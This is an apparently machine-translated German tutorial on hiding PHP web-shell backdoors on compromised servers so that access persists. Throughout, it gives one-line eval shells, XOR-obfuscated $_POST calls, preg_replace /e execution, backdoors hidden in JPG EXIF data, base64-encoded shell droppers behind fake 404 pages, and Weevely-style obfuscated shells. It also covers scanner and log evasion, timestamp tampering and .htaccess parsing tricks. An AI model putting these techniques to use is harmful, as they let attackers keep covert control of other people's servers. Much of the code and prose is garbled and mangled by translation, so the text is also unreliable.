Nach einem erfolgreichen Test möchten Sie die Berechtigungen normalerweise länger behalten. Die Arbeit, die mit dem Verlassen von Hintertüren verbunden ist, umfasst unter anderem Datenbankberechtigungen, WEB-Berechtigungen und Systembenutzer usw. Dieser Artikel wird einige der Ideen bekannt machen, die in den Hintertüren von Volkswagen verborgen sind.
AD:
0×00 Vorwort
Nach einem erfolgreichen Test möchten Sie normalerweise die Privilegien länger behalten. Die Aufgabe, eine Hintertür zu hinterlassen, ist Es scheint Sehr wichtig. Zu den häufig eingesetzten Hintertüren gehören unter anderem Datenbankberechtigungen, WEB-Berechtigungen, Systembenutzerberechtigungen usw. In diesem Artikel werden einige der in öffentlichen Hintertüren versteckten Ideen bekannt gemacht
Nehmen Sie PHP-WEBBACKDOOR als Beispiel, um andere zu inspirieren
Eine häufigste Ein-Satz-Hintertür könnte so geschrieben werden
- eval($ _POST['cmd']);?>
oder dieses
- $_POST['cmd']);?>
Das ist natürlich nur in der aufgerufenen Funktion anders Informationen zu den von PHP deaktivierten Funktionen finden Sie unter „Suche in php.ini: deaktivieren_funktionen“.
Aber es gibt viele Möglichkeiten für Betrieb und Wartung, unsere Shell intuitiv zu finden, wie zum Beispiel
◆Ausnahme gefunden durch Dateiname/Änderungszeit/-größe, Dateisicherungsvergleich
◆Entdecken Sie die Hintertür durch das WEBSHELL-Hintertür-Scan-Skript, wie Scanbackdoor.php/Pecker/shelldetect.php und verschiedene Scanner usw.
◆Entdecken Sie die Hintertür über das Access.log-Zugriffsprotokoll
◆ Oder unser Testsatz wird von WAF blockiert und ein Warnprotokoll wird gesendet usw.
Im Hinblick auf Gängige Erkennungsmethoden, die folgenden sieben gängigen Methoden werden zusammengefasst, um die Shell zu verbergen
0×01 Evasion
Schauen Sie sich die verschiedenen Scan-Backdoor-Codes an und Sie werden wissen, dass das Hinterlassen eines Schlüsselworts, das jeder kennt und Schreie sind in der Shell absolut nicht erlaubt
Gemeinsame Schlüsselwörter wie:
◆Systembefehlsausführung: system, passhru, shell_exec, exec, popen, proc_open
◆Codeausführung: eval, Assert, call_user_func, base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
◆Datei enthält: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
Ein Freund hat es in der Vergangenheit mit Bedacht verwendet $ _POST[0]($_POST[1]) um den Befehl auszuführen Leider ist es jetzt schwierig, der Erkennung von Scannern zu entgehen, aber alles ändert sich. und die Konstruktionsmethoden sind endlos
Tudouya-Klassenkamerad gab [eine Konstruktion zu FREEBUF-Tipps](http://www.freebuf.com/articles/web/33824.html)Verwenden Sie
- @$_; // $_ = 1
- $__=(" #"^"|"); // $__ = _
- $__.=(" ."^"~"); // _P
- $__.=("/"^ "`"); // _PO
- $__.=("|"^ "/"); // _POS
- $__.=("{"^"/" ); // _POST
- ${$__}[!$_](${$__ }[$_]); // $_POST[0] ($_POST[1]);
- ? >
Konstruktionsgenerierung, natürlich ist es in Ordnung, wenn es zu intuitiv ist. Schreiben Sie so
- $_ ;$ __=("#"^"|").(". "^"~").("/"^"`"). ("|"^"/").("{"^ "/");@${$__}[!$_]( ${$__}[$_]);?>
Geben Sie dann einen gewöhnlichen Code ein, um ihn zu verschleiern, und ein einfaches „Anti-Kill“-Shell-Beispiel erscheint
Es wird korrekt ausgeführt und umgeht gewöhnliche Scanner. Sie können sich darauf verlassen, eine neue temporäre Shell zu schreiben
0×02 Features
Es ist auch eine interessante Möglichkeit, Syntaxfunktionen zum Ausführen von Befehlen zu verwenden. Verwenden Sie PHP, um Variablen zu verarbeiten. Es analysiert, ob die Daten in doppelten Anführungszeichen enthalten (und analysiert deren Werte). >zB.:
${@
eval(phpinfo()) } {} kann den Variableninhalt in doppelten Anführungszeichen analysieren, @ Behalten Sie den Fehler bei und fahren Sie mit der Ausführung fort
Dann können Sie mit dem Aufbau einer versteckten Hintertür beginnen, aber hier möchte sich die Struktur auf die durch die Funktion verursachte Befehlsausführung verlassen. Ja, es ist preg_replace
"//e",
$_POST['cmd'],"");?> >Diese Methode wurde offensichtlich in die Scanner-Blacklist eingetragen, einfache Änderung Weiter
- function funfunc($str){}
- echo preg_replace("/(. ?)/ies", 'funfunc("1")', $_POST["cmd"]);
?> -
wurde ausgeführt und nicht gefunden
Die Ausführungsmethode ist offensichtlich. Wenn {${phpinfo()}} nach dem regulären Abgleich an funfunc übergeben wird, wird der Code ausgeführt
funfunc(- "{${phpinfo()}} " )
Eine andere Methode
"$arr="".$_GET['cmd']."";");?>
0 × 03 Inklusion
Datei-Inklusion ist eine Methode, die jeder ausprobiert hat, aber Inklusion hat auch Techniken
Gewöhnliche Datei-Inklusion kann nur ein Einbinden sein, das eine bestimmte TXT- oder JPG-Datei enthält, oder sogar direkt eine verlassen enthalten Schwachstelle, aber der Scanner ist auch leicht zu finden, und die zusätzlich enthaltenen Dateien sind ebenfalls leicht zu finden
Sehen Sie sich dieses Skript an
- if( @isset($_GET[content]))
{ - 'w'); 🎜> file_put_contents('README',"
- @file_put_contents('README',$_GET[content],FILE_APPEND);
- fclose($fp) ;
require - 'README';}
- ?> Die Probleme. Die erforderliche Shell kann nach Bedarf generiert und dann eingebunden werden. Da Funktionen wie file_put_contents zu empfindlich sind, kann sie durch Scannen leicht gefunden werden.
- erstellt eine Shell durch Codierungsgenerierung, die mit Zugriff generiert wird
fputs(
fopen( base64_decode(
'cgx1z2lux20ucghw'), w),
Base64_Decode (
'Pd9wahagqgfzc2vydcgkx1bpu1rbj2ntzcddkts/pg =='); >?>
- kann einigen Scannern entgehen, aber dieser Modus ist auch auffälliger und die neu generierten Dateien müssen einfach ausgeblendet werden, um einer Erkennung zu entgehen.Natürlich neue Konzepte wie Heuristiken werden nicht berücksichtigtWenn diese Methode die Anforderungen nicht erfüllen kann, kehren clevere Angreifer zurück$exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif[
'Model'],- '');?> ;
- Referenz: a Die im EXIF von JPG-Bildern versteckte Hintertür Dieses Mal müssen Sie nicht mehr einfach /b kopieren, um das Image-Pferd zu generieren. Es ist auch möglich, das spezifische Flag der preg_replace-Ausführungsdatei auszuleihen Aufruf der undefinierten Funktion exif_read_data()Sie müssen php.ini ändern, extension=php_exif.dllÄndern Sie die Ladereihenfolge in nach extension=php_mbstring.dll Es ist ersichtlich, dass diese Bild-Hintertür auf dem e-Parameter preg_replace basiert, auf der Variablenanalyse und -ausführung von PHP basiert und schließlich die Dateiidentifikation verwendet, um eine vollständige Shell-Assembly zu konvertieren ist eine kleine Erinnerung für diejenigen, die mit den versteckten Hintertüren noch nicht vertraut sind. Solange es Einschlusspunkte gibt, ist die Form der Include-Datei natürlich unterschiedlich, einschließlich error_log (obwohl Sie vielleicht darüber nachdenken sollten, sie zu schließen). it), nur unerwartet...
0×04 Hidden
Um zu verhindern, dass Besucher die Existenz der Hintertür entdecken, werden clevere Sicherheitsforscher auch die Situation verwirren
- "-//IETF//DTD HTML 2.0//EN"> > 404 Nicht gefunden 🎜>
-
-
Die angeforderte URL wurde auf diesem Server nicht gefunden.
> 🎜> @preg_replace(- "/[checksql]/e",
$_POST[- 'cmd'],
"saft" 🎜>- Aber Sie können sich nicht vor Besuchern verstecken und Sie können es nicht vor der Protokollanalyse verbergen. Um es in einer großen Anzahl von Protokollen besser zu verbergen, wurde das folgende Skript erstellt >
-
- header (
'HTTP/1.1 404'); 'cGx1Z2luX20ucGhw'),w),- base64_decode(
'PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/ S ==')); - ob_end_clean();
Der Zugriff ist ein echter 404, ja, das Gleiche gilt auch im Protokoll -
Aber in diesem Moment wurde das Skript, das wir verbinden möchten, im Strom generiert Verzeichnis
0×05 Verwirrung
- Wer das Weevely-Tool verwendet hat, sollte wissen, dass die von ihm generierte Anti-Kill-Shell so aussieht
-
- $kthe= "JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn"; place("w"," ","stwrw_wrwepwlwawcwe");
-
-
$zrmt=
"JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo"; ftdf("f",
"",
"bfafsfef4_fdfefcodfe" ); 🎜>
>"lclrlaltel_functlilon"); (- $ftdf(
"gi", - "", $zrmt.$kthe.$wmmi.$penh) ));
$rdwm(); - Nach der Verbindung im Terminal sieht es so aus
- Ps: Ich habe es vergessen Ändern Sie den Terminalcode im Screenshot:(Der Weg, das Töten zu vermeiden Der Prozess der Generierung zufälliger Namensvariablen in einem festen Bereich und der anschließenden Verwendung von str_replace zum Kombinieren von base64_decode und Ausführen des Befehls Von Dies ist natürlich eine häufigere Verschleierung auf Codeebene, um Scanner zu vermeidenAudiovisuelle Methoden: ◆Ändern Sie die Dateizeit
◆Benennen Sie sie um und integrieren Sie sie in den Ordner, in dem es sich nach dem Hochladen befindet, sodass Benutzer die Dateianomalie nicht visuell erkennen können- ◆Verbergen Sie die Dateigröße (zumindest sieht die Größe wie ein normales Skript aus)◆Wählen Sie das Ausblenden Pfad und besuchen Sie ihn so wenig wie möglich
◆Merformed-Verzeichnis- Das Space-Verzeichnis ist relativ leicht zu finden
- 0×06 ParsingVerwenden Sie .htaccess, um eine Parsing-Hintertür hinzuzufügenZum Beispiel:AddType application/x- httpd-php .jpg
- Das Obige dient als Beispiel0×07 Verschiedenes
Um die oben genannten Methoden zusammenzufassen, handelt es sich bei den meisten um nichts anderes als einen Prozess zur Konstruktion von Schwachstellen. Der Code zur Konstruktion der Schwachstelle kann so seltsam sein, wie die Hintertür nur sein kann. Sie können etwas Feines und Anmutiges schreiben oder selbst erstellen Es ist einfach und grob, aber die anwendbaren Situationen sind unterschiedlich. Wenn Sie Ideen gut integrieren können, ist es nicht schwierig, Ihre eigene versteckte Hülle zu konstruieren. Wenn Sie interessante Ideen haben, können Sie dies gerne tun Teilen Sie Ihre Gedanken mit
Das Obige stellt die PHP-Hintertür-Versteck- und Wartungstechniken vor, einschließlich der relevanten Inhalte. Ich hoffe, dass es für Freunde hilfreich ist, die sich für PHP-Tutorials interessieren.